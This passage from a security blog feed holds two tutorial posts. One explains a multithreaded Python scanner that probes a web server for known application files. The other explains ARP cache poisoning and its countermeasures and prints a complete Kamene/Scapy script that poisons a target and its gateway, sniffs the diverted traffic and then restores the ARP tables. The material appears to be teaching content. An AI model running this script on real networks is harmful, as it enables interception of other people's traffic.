<span class="line"><span style="color: #F8F8F2">            remote_path </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> remote_path[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">:]</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.path.splitext(files)[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">] </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> filters:</span></span>
<span class="line"><span style="color: #F8F8F2">            web_paths.put(remote_path)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">test_remote</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> web_paths.empty():</span></span>
<span class="line"><span style="color: #F8F8F2">        path </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> web_paths.get()</span></span>
<span class="line"><span style="color: #F8F8F2">        url </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (target, path)</span></span>
<span class="line"><span style="color: #F8F8F2">        request </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> urllib.request.Request(url)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            response </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> urllib.request.urlopen(request)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">] =&gt; </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (response.code, path))</span></span>
<span class="line"><span style="color: #F8F8F2">            response.close()</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> urllib.error.HTTPError </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> error:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Failed </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> error.code)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">pass</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">for</span><span style="color: #F8F8F2"> i </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">range</span><span style="color: #F8F8F2">(threads):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Spawning thread: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> i)</span></span>
<span class="line"><span style="color: #F8F8F2">    t </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">test_remote)</span></span>
<span class="line"><span style="color: #F8F8F2">    t.start()</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>A simple web path scanner that uses multiple threads to test the existence of files on a web server. The scanner iterates through the local files in a specified directory, creates remote paths by appending them to a target URL, and then sends HTTP requests to those remote paths to check if the files exist on the web server. The script is designed to be multithreaded, allowing for parallel processing of multiple web paths.</p>
<h2>Explanation:</h2>
<ol>
<li>
<p><strong>Import Modules:</strong></p>
<pre><code class="language-python">import os
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
</code></pre>
<ul>
<li><code>os</code>: Provides a way of using operating system-dependent functionality.</li>
<li><code>queue</code>: Implements queues for thread-safe communication.</li>
<li><code>threading</code>: Provides threading support for concurrent execution.</li>
<li><code>urllib</code>: Handles URL-related operations.</li>
</ul>
</li>
<li>
<p><strong>Configuration:</strong></p>
<pre><code class="language-python">threads = 10
target = &quot;http://www.test.com&quot;
directory = &quot;/Users/justin/Downloads/joomla-3.1.1&quot;
filters = [&quot;.jpg&quot;, &quot;.gif&quot;, &quot;png&quot;, &quot;.css&quot;]
</code></pre>
<ul>
<li><code>threads</code>: Number of threads to spawn for parallel processing.</li>
<li><code>target</code>: Target URL where the files will be checked for existence.</li>
<li><code>directory</code>: Local directory containing files to be tested on the web server.</li>
<li><code>filters</code>: List of file extensions to exclude from testing.</li>
</ul>
</li>
<li>
<p><strong>Change Directory:</strong></p>
<pre><code class="language-python">os.chdir(directory)
</code></pre>
<ul>
<li>Changes the current working directory to the specified directory.</li>
</ul>
</li>
<li>
<p><strong>Queue Up Web Paths:</strong></p>
<pre><code class="language-python">web_paths = queue.Queue()

for r, d, f in os.walk(&quot;.&quot;):
    for files in f:
        remote_path = &quot;%s/%s&quot; % (r, files)
        if remote_path.startswith(&quot;.&quot;):
            remote_path = remote_path[1:]
        if os.path.splitext(files)[1] not in filters:
            web_paths.put(remote_path)
</code></pre>
<ul>
<li>Iterates through the local files in the specified directory and adds them to a queue (<code>web_paths</code>) for processing.</li>
</ul>
</li>
<li>
<p><strong>Test Remote Function:</strong></p>
<pre><code class="language-python">def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = &quot;%s%s&quot; % (target, path)
        request = urllib.request.Request(url)
        try:
            response = urllib.request.urlopen(request)
            print(&quot;[%d] =&gt; %s&quot; % (response.code, path))
            response.close()
        except urllib.error.HTTPError as error:
            print(&quot;Failed %s&quot; % error.code)
            pass
</code></pre>
<ul>
<li>Defines the function <code>test_remote</code>, which is the target function for each thread.</li>
<li>Retrieves a web path from the queue, constructs a URL, and sends an HTTP request.</li>
<li>Prints the HTTP response code and the path.</li>
</ul>
</li>
<li>
<p><strong>Spawn Threads:</strong></p>
<pre><code class="language-python">for i in range(threads):
    print(&quot;Spawning thread: %d&quot; % i)
    t = threading.Thread(target=test_remote)
    t.start()
</code></pre>
<ul>
<li>Spawns the specified number of threads, each executing the <code>test_remote</code> function.</li>
</ul>
</li>
</ol>
<p>This code creates a pool of threads that work concurrently to test the existence of files on the web server. Each thread takes a path from the queue, constructs a URL, sends an HTTP request, and prints the result. The purpose of this script is to identify files present on the web server based on the provided directory, target URL, and file filters.</p>
</div>
<p>The post <a href="https://awjunaid.com/networking/mapping-open-source-web-application-installations/">Mapping Open Source web application installations</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/networking/mapping-open-source-web-application-installations/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8936</post-id>	</item>
		<item>
		<title>ARP Cache poisoning with Scapy fork Kamene</title>
		<link>https://awjunaid.com/python/arp-cache-poisoning-with-scapy-fork-kamene/</link>
					<comments>https://awjunaid.com/python/arp-cache-poisoning-with-scapy-fork-kamene/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sun, 31 Dec 2023 13:30:44 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8933</guid>

					<description><![CDATA[<p>PCAP Processing PCAP (Packet Capture) files store network traffic data, and processing them is a common task in&#8230;</p>
<p>The post <a href="https://awjunaid.com/python/arp-cache-poisoning-with-scapy-fork-kamene/">ARP Cache poisoning with Scapy fork Kamene</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-jetpack-markdown"><p>The ARP (Address Resolution Protocol) cache, also known as the ARP table or ARP cache table, is a mapping of IP addresses to MAC (Media Access Control) addresses on a local network. ARP is used to discover the hardware address associated with a given IP address when communicating on a local network.</p>
<h2>How the ARP cache works:</h2>
<ol>
<li>
<p><strong>Address Resolution Protocol (ARP):</strong></p>
<ul>
<li>When a device on a local network wants to communicate with another device, it needs to know the MAC address associated with the target device’s IP address.</li>
<li>If the device doesn’t have this information, it sends an ARP request broadcast to the local network, asking, “Who has the IP address X?”</li>
<li>The device with the corresponding IP address responds with its MAC address.</li>
</ul>
</li>
<li>
<p><strong>ARP Cache:</strong></p>
<ul>
<li>To avoid repetitive ARP requests for frequently accessed devices, operating systems maintain an ARP cache or table.</li>
<li>The ARP cache stores the mapping between IP addresses and MAC addresses of devices recently contacted by the system.</li>
</ul>
</li>
<li>
<p><strong>ARP Cache Entry:</strong></p>
<ul>
<li>Each entry in the ARP cache typically includes the following information:
<ul>
<li>IP Address</li>
<li>MAC Address</li>
<li>Type (e.g., Dynamic or Static)</li>
<li>Timestamp (when the entry was added or last updated)</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>Dynamic vs. Static Entries:</strong></p>
<ul>
<li><strong>Dynamic Entries:</strong> Most entries in the ARP cache are dynamic and are learned through the ARP process described earlier. They have a finite lifetime and may be refreshed or removed after a certain period of inactivity.</li>
<li><strong>Static Entries:</strong> Some ARP cache entries may be manually configured (static). These entries are explicitly added by the network administrator and do not expire automatically.</li>
</ul>
</li>
<li>
<p><strong>Viewing ARP Cache:</strong></p>
<ul>
<li>You can view the ARP cache on a system using commands specific to the operating system.
<ul>
<li>On Windows, you can use the <code>arp -a</code> command in the command prompt.</li>
<li>On Linux/Unix, you can use the <code>arp -n</code> or <code>ip neigh</code> command.</li>
</ul>
</li>
</ul>
<p>Example (on Windows):</p>
<pre><code class="language-bash">arp -a
</code></pre>
<p>Example (on Linux/Unix):</p>
<pre><code class="language-bash">arp -n
</code></pre>
</li>
<li>
<p><strong>Clearing ARP Cache:</strong></p>
<ul>
<li>Sometimes, it might be necessary to clear the ARP cache. This can be done using specific commands based on the operating system.</li>
</ul>
<p>Example (on Windows):</p>
<pre><code class="language-bash">arp -d
</code></pre>
<p>Example (on Linux/Unix):</p>
<pre><code class="language-bash">sudo ip neigh flush all
</code></pre>
</li>
</ol>
<p>The ARP cache is a crucial component of local network communication, and understanding its function is important for troubleshooting network connectivity issues and maintaining network security.</p>
</div>



<div class="wp-block-jetpack-markdown"><p>ARP cache poisoning, also known as ARP spoofing or ARP spoof attack, is a technique used by malicious actors to manipulate the ARP cache of a target device on a local network. The attack involves sending fake or malicious Address Resolution Protocol (ARP) messages to associate the attacker’s MAC address with the IP address of a legitimate device on the network.</p>
<h2>How ARP cache poisoning works:</h2>
<ol>
<li>
<p><strong>Normal ARP Operation:</strong></p>
<ul>
<li>In a typical ARP operation, devices on a local network use ARP to discover the hardware (MAC) address associated with a given IP address.</li>
<li>ARP requests are broadcasted to all devices on the local network, and the device with the corresponding IP address responds with its MAC address.</li>
</ul>
</li>
<li>
<p><strong>ARP Cache Poisoning Steps:</strong></p>
<ul>
<li>
<p><strong>Step 1: ARP Request</strong></p>
<ul>
<li>The attacker starts by sending a malicious ARP request to the target network, asking for the MAC address corresponding to a specific IP address (e.g., the default gateway or another host).</li>
</ul>
</li>
<li>
<p>The ARP request is broadcast to all devices on the network.</p>
</li>
<li>
<p><strong>Step 2: ARP Reply Spoofing</strong></p>
<ul>
<li>The attacker sends a false ARP reply (spoofed ARP reply) to the target.</li>
<li>This reply contains the attacker’s MAC address but claims to be from the legitimate device associated with the requested IP address.</li>
<li>The target device updates its ARP cache with the malicious mapping, associating the attacker’s MAC address with the IP address.</li>
</ul>
</li>
<li>
<p><strong>Step 3: Subsequent Traffic Diversion</strong></p>
<ul>
<li>Now, all traffic intended for the targeted IP address is sent to the attacker instead of the legitimate device.</li>
<li>The attacker can intercept, modify, or drop the traffic as desired.</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>Consequences of ARP Cache Poisoning:</strong></p>
<ul>
<li><strong>Man-in-the-Middle (MITM) Attacks:</strong> ARP cache poisoning enables a man-in-the-middle position, allowing the attacker to intercept and manipulate communication between two parties.</li>
<li><strong>Traffic Interception and Modification:</strong> The attacker can intercept sensitive information transmitted between devices on the network.</li>
<li><strong>Denial of Service (DoS):</strong> By disrupting normal network communication, ARP cache poisoning can lead to a denial of service for legitimate users.</li>
</ul>
</li>
<li>
<p><strong>Countermeasures:</strong></p>
<ul>
<li><strong>Static ARP Entries:</strong> Manually configure static ARP entries on critical devices to prevent them from being poisoned.</li>
<li><strong>ARP Spoofing Detection Tools:</strong> Use network security tools that can detect and alert on ARP spoofing attacks.</li>
<li><strong>Packet Filtering and Inspection:</strong> Implement firewalls and intrusion detection systems to filter and inspect network traffic.</li>
<li><strong>Port Security:</strong> Some switches support features like port security, which can limit the number of MAC addresses associated with a specific port.</li>
</ul>
</li>
</ol>
<p>ARP cache poisoning is a security concern, and network administrators should be aware of it to implement appropriate countermeasures. Regular monitoring and security best practices are essential for preventing and mitigating the impact of such attacks.</p>
</div>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="from kamene.all import *
import sys
import threading
import time

interface = &quot;en1&quot;
tgt_ip = &quot;172.12.1.71&quot;
tgt_gateway = &quot;172.16.1.254&quot;
packet_count = 1000
poisoning = True


def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # slightly different method using send
    print(&quot;[*] Restoring target...&quot;)
    send(ARP(op=2,
             psrc=gateway_ip,
             pdst=target_ip,
             hwdst=&quot;ff:ff:ff:ff:ff:ff&quot;,
             hwsrc=gateway_mac),
         count=5)
    send(ARP(op=2,
             psrc=target_ip,
             pdst=gateway_ip,
             hwdst=&quot;ff:ff:ff:ff:ff:ff&quot;,
             hwsrc=target_mac),
         count=5)


def get_mac(ip_address):
    responses, unanswered = srp(
        Ether(dst=&quot;ff:ff:ff:ff:ff:ff&quot;) / ARP(pdst=ip_address),
        timeout=2,
        retry=10
    )

    # return the MAC address from a response
    for s, r in responses:
        return r[Ether].src
    return None


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    global poisoning

    poison_tgt = ARP()
    poison_tgt.op = 2
    poison_tgt.psrc = gateway_ip
    poison_tgt.pdst = target_ip
    poison_tgt.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print(&quot;[*] Beginning the ARP poison. [CTRL-C to stop]&quot;)

    while poisoning:
        send(poison_tgt)
        send(poison_gateway)
        time.sleep(2)

    print(&quot;[*] ARP poison attack finished.&quot;)

    return


# set our interface
conf.iface = interface

# turn off output
conf.verb = 0

print(&quot;[*] Setting up %s&quot; % interface)

tgt_gateway_mac = get_mac(tgt_gateway)

if tgt_gateway_mac is None:
    print(&quot;[!!!] Failed to get gateway MAC. Exiting.&quot;)
    sys.exit(0)
else:
    print(&quot;[*] Gateway %s is at %s&quot; % (tgt_gateway, tgt_gateway_mac))

tgt_mac = get_mac(tgt_ip)

if tgt_mac is None:
    print(&quot;[!!!] Failed to get target MAC. Exiting.&quot;)
    sys.exit(0)
else:
    print(&quot;[*] Target %s is at %s&quot; % (tgt_ip, tgt_mac))

# start poison thread
poison_thread = threading.Thread(target=poison_target,
                                 args=(tgt_gateway,
                                       tgt_gateway_mac,
                                       tgt_ip,
                                       tgt_mac)
                                 )
poison_thread.start()

try:
    print(&quot;[*] Starting sniffer for %d packets&quot; % packet_count)
    bpf_filter = &quot;ip host %s&quot; % tgt_ip
    packets = sniff(count=packet_count,
                    filter=bpf_filter,
                    iface=interface
                    )
    # write out the captured packets
    print(&quot;[*] Writing packets to arper.pcap&quot;)
    wrpcap('arper.pcap', packets)

except KeyboardInterrupt:
    pass

finally:
    poisoning = False
    # wait for poisoning thread to exit
    time.sleep(2)

    # restore the network
    restore_target(tgt_gateway,
                   tgt_gateway_mac,
                   tgt_ip,
                   tgt_mac
                   )
    sys.exit(0)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> kamene.all </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">*</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> sys</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> time</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">interface </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;en1&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">tgt_ip </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;172.12.1.71&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">tgt_gateway </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;172.16.1.254&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">packet_count </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1000</span></span>
<span class="line"><span style="color: #F8F8F2">poisoning </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">restore_target</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">gateway_ip</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">gateway_mac</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">target_ip</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">target_mac</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># slightly different method using send</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Restoring target...&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    send(ARP(</span><span style="color: #FD971F; font-style: italic">op</span><span style="color: #F92672">=</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">psrc</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">gateway_ip,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">pdst</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">target_ip,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">hwdst</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;ff:ff:ff:ff:ff:ff&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">hwsrc</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">gateway_mac),</span></span>
<span class="line"><span style="color: #F8F8F2">         </span><span style="color: #FD971F; font-style: italic">count</span><span style="color: #F92672">=</span><span style="color: #AE81FF">5</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    send(ARP(</span><span style="color: #FD971F; font-style: italic">op</span><span style="color: #F92672">=</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">psrc</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">target_ip,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">pdst</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">gateway_ip,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">hwdst</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;ff:ff:ff:ff:ff:ff&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #FD971F; font-style: italic">hwsrc</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">target_mac),</span></span>
<span class="line"><span style="color: #F8F8F2">         </span><span style="color: #FD971F; font-style: italic">count</span><span style="color: #F92672">=</span><span style="color: #AE81FF">5</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">get_mac</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">ip_address</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    responses, unanswered </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> srp(</span></span>
<span class="line"><span style="color: #F8F8F2">        Ether(</span><span style="color: #FD971F; font-style: italic">dst</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;ff:ff:ff:ff:ff:ff&quot;</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">/</span><span style="color: #F8F8F2"> ARP(</span><span style="color: #FD971F; font-style: italic">pdst</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">ip_address),</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">timeout</span><span style="color: #F92672">=</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F; font-style: italic">retry</span><span style="color: #F92672">=</span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># return the MAC address from a response</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> s, r </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> responses:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> r[Ether].src</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">poison_target</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">gateway_ip</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">gateway_mac</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">target_ip</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">target_mac</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> poisoning</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    poison_tgt </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ARP()</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_tgt.op </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_tgt.psrc </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> gateway_ip</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_tgt.pdst </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> target_ip</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_tgt.hwdst </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> target_mac</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    poison_gateway </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ARP()</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_gateway.op </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_gateway.psrc </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> target_ip</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_gateway.pdst </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> gateway_ip</span></span>
<span class="line"><span style="color: #F8F8F2">    poison_gateway.hwdst </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> gateway_mac</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Beginning the ARP poison. [CTRL-C to stop]&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> poisoning:</span></span>
<span class="line"><span style="color: #F8F8F2">        send(poison_tgt)</span></span>
<span class="line"><span style="color: #F8F8F2">        send(poison_gateway)</span></span>
<span class="line"><span style="color: #F8F8F2">        time.sleep(</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] ARP poison attack finished.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># set our interface</span></span>
<span class="line"><span style="color: #F8F8F2">conf.iface </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> interface</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># turn off output</span></span>
<span class="line"><span style="color: #F8F8F2">conf.verb </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Setting up </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> interface)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">tgt_gateway_mac </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> get_mac(tgt_gateway)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> tgt_gateway_mac </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[!!!] Failed to get gateway MAC. Exiting.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Gateway </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> is at </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (tgt_gateway, tgt_gateway_mac))</span></span>
